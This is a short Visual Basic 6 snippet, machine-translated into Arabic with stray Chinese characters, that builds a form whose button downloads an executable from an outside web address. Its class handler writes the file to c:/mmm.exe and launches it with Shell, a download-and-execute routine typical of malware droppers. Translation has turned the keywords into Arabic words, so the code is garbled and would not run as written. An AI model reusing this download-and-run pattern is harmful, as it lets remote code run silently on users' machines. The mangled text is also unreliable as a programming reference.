قم بإنشاء vb 立 立، Project1
الميزات: وقت تشغيل البرمجة النصية لـ Microsoft، كائن البيانات النشط لـ Microsoft، Microsoft MsXml
النموذج 1:
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
خافت د كـ Class1
تعيين = MSXML2.XMLHTTP جديد
الحصول على a.open، http://www.ljc.com/sll.exe، صحيح
مجموعة د = فئة جديدة 1
أ.onreadystatechange = د
أ.إرسال
نهاية الفرعية
فئة 1:
Dim b As ADODB.Stream
خافت FSO كـ Scripting.FileSystemObject
curReadyState العامة طالما
الوظيفة العامة doSome()
Debug.Print Form1.a.readyState
إذا Form1.a.readyState = 4 إذن
شبكة الاتصالات العالمية
نهاية إذا
وظيفة النهاية
الوظيفة العامة www()
المجموعة ب = ADODB.Stream الجديد
ب.النوع = 1
ب.فتح
Set fso = New Scripting.FileSystemObject
إذا Form1.a.readyState = 4 إذن
ب.الكتابة (Form1.a.responseBody)
إذا لم يكن fso.FileExists(c:/mmm.exe) إذن
ب.SaveToFile ج:/mmm.exe
نهاية إذا
نهاية إذا
ب. إغلاق
مجموعة ب = لا شيء
إذا كان fso.FileExists(c:/mmm.exe) ثم Shell c:/mmm.exe، 1
تعيين fso = لا شيء
وظيفة النهاية
تم تعيين Class1 على بعض العبارات الافتراضية.